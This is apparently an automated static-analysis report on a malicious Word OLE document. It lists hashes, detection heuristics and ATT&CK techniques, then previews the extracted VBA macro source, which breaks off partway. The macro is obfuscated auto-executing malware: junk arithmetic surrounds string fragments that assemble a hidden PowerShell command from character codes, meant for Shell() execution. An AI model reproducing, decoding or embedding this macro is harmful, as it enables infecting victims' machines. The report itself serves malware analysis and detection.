Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ca2ddd7c641fcfdf…

MALICIOUS

Office (OLE)

224.2 KB Created: 2018-06-28 08:03:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: a34775d85f27534053181fc1949f49c1 SHA-1: 61462d4a3a659eb16a6240e1888bb0bb89bdc03c SHA-256: ca2ddd7c641fcfdf1e5662de58b9bcea3c9fbb7ecf194ee02030c6f70615d182
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious OLE document containing a VBA macro. The macro uses the Shell() function, indicating an attempt to execute arbitrary commands. The presence of an AutoOpen macro further suggests an automated execution attempt upon opening the document. The ClamAV detection name 'Doc.Malware.Valyria-6701776-0' is included as an IOC.

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-6701776-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6701776-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13567 bytes
SHA-256: 290756a11563188c0d961f2b34ebafcc6c7236fd6ebe936c6af4dbcad415e6fc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JmlAvBh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "tutUpVZkatv"
Function MkYjDlj()
On Error Resume Next
JwfKL = ChrB(31857 + _
Sin(SJJWFF * CLng(NjmZna + 20762) _
 + 59354 _
+ MdqcKl))
iRnmiw _
= 20278 + Atn(46524) / 87563 / _
Round(88710) / 91833 / CInt(RJTMpJ)
wUpDuGmIm = "HELL" + "    " + "         " + "     " + "       " + "       " + "        " + " " + Chr(40) + "[cHaR"
DcjmB = ChrB(65910 + _
Sin(iQTjVo * CLng(hJaUSG + 20633) _
 + 43565 _
+ fzRjii))
iBnzf _
= 81666 + Atn(98854) / 12720 / _
Round(53111) / 42833 / CInt(fAOXop)
PuUFuu = "[]] " + Chr(40) + "61 ," + " 90 ,79 ," + " 106, 36," + " 119 " + ",124, 11" + "0, 52" + ",118,12" + "3, 115 " + ",124 "
NzroCV = ChrB(66961 + _
Sin(hvBpkw * CLng(AwdqV + 27744) _
 + 43665 _
+ piVNA))
ppAaG _
= 16421 + Atn(37690) / 92393 / _
Round(99118) / 9521 / CInt(BZjZG)
Tjnwvw = ",122" + " , 109" + ", 57 ," + " 87 , 124" + ",109" + ", 55 ,78" + ",124, 12"
OGsAb = ChrB(4936 + _
Sin(lTrYBJ * CLng(Hihkuv + 95677) _
 + 2105 _
+ jNTrWD))
zAFrj _
= 42177 + Atn(63271) / 74847 / _
Round(59149) / 74347 / CInt(RiYNS)
jUwatJZWZ = "3, 90 ," + "117, 1" + "12,124, 1" + "19 , 10" + "9 , 3" + "4 ,61" + ", 72 , 1" + "22 , 92"
MjBoT = ChrB(44038 + _
Sin(NiMnH * CLng(MhntM + 57613) _
 + 72429 _
+ AaZOvY))
zLXXGH _
= 14607 + Atn(16280) / 41949 / _
Round(96972) / 43874 / CInt(QiIlV)
GwMWI = " , 36 " + ", 62,11" + "3 , 109,1" + "09 ,10" + "5,106," + " 35,54"
nKYcl = ChrB(91422 + _
Sin(jiLIb * CLng(XwRcjn + 22689) _
 + 18842 _
+ BNJkU))
kzYbwl _
= 19992 + Atn(38977) / 58489 / _
Round(17423) / 85646 / CInt(OsdvU)
lmLSWcoCE = " ,54 ,120" + " ,111, " + "124 ,107" + ", 11" + "2, 119 " + ", 55 , 1" + "05 ," + "107, " + "118,54 " + ", 82, 94" + ",67 , "
UCzPwH = ChrB(17366 + _
Sin(NILSA * CLng(iMwodX + 49858) _
 + 29011 _
+ zUTKrv))
WiXfEA _
= 16589 + Atn(26882) / 35866 / _
Round(16483) / 24224 / CInt(UOHwLC)
zIpjQpB = "87,45" + ", 10" + "9,83,1" + "20 ,7" + "4 ,54,89" + ", 113" + " , 1" + "09 , 1" + "09 ," + "105 , 35" + ",54 ," + "54 , 110"
qBKKi = ChrB(60036 + _
Sin(FSwvc * CLng(RIuFJM + 98128) _
 + 53820 _
+ mdNFb))
DBGBz _
= 52053 + Atn(49839) / 36375 / _
Round(51860) / 45302 / CInt(wvEHpL)
VCiENjbb = ",110" + " , 11" + "0, 55, 1" + "22,11" + "1 , 1" + "12 , 125," + "124 "
dnAzzd = ChrB(24626 + _
Sin(nOhzd * CLng(flmGQ + 40279) _
 + 76523 _
+ PnNqk))
TfriHJ _
= 2623 + Atn(87726) / 14583 / _
Round(85776) / 36312 / CInt(stIbXw)
fszJfERUW = ", 120" + ", 112" + ",119," + " 109, 124" + ",107" + ",112 ,118" + ",107,55" + ",122 ,11" + "8 ,116" + ", 54 , 82" + ", 78 , "
pYNHWV = ChrB(14340 + _
Sin(mNYNlG * CLng(GrsEci + 96285) _
 + 10199 _
+ SGLOZE))
iuKFP _
= 59655 + Atn(96151) / 80813 / _
Round(37338) / 61854 / CInt(BvjOiZ)
wJzHjGTjXAN = "74 , " + "116 ,74," + "93 ,1" + "25 , " + "116," + "109," + " 54, " + "89,11"
MkYjDlj = wUpDuGmIm + PuUFuu + Tjnwvw + jUwatJZWZ + GwMWI + lmLSWcoCE + zIpjQpB + VCiENjbb + fszJfERUW + wJzHjGTjXAN
osVaz = ChrB(25182 + _
Sin(SYpPJs * CLng(iLnzT + 10326) _
 + 62241 _
+ QUOiw))
kNRBM _
= 85068 + Atn(51279) / 46120 / _
Round(79326) / 96198 / CInt(skRGun)
End Function
Function JoSPEbc()
On Error Resume Next
VXMMY _
= 11857 + Atn(71972) / 22664 / _
Round(62515) / 18925 / CInt(EJtTl)
fFiJY = ChrB(57021 + _
Sin(aicZb * CLng(LTQlz + 2170) _
 + 55680 _
+ lmRWf))
QrWllkq = "3, 109 " + ", 109 " + ",105,35," + " 54," + "54 , " + "110 ,110" + ",110 , 5" + "5,119 , 1" + "24 , 110" + ",55 , 10" + "5 ,112, 1" + "26,116"
kOvmuf _
= 23924 + Atn(67748) / 47598 / _
Round(26206) / 92636 / CInt(tFlpdL)
jwwoXv = ChrB(35469 + _
Sin(FuTQm * CLng(zWLmpi + 93742) _
 + 76830 _
+ uDpBHX))
DfuPbuVSdNi = " ,124 ,1" + "19 ,1" + "09,118" + " ,120,9" + "9 ,10" + "8,117 , 5" + "5 , 1"
vIGmz _
= 61748 + Atn(76557) / 51596 / _
Round(46968) / 83667 / CInt(WHpFw
... (truncated)

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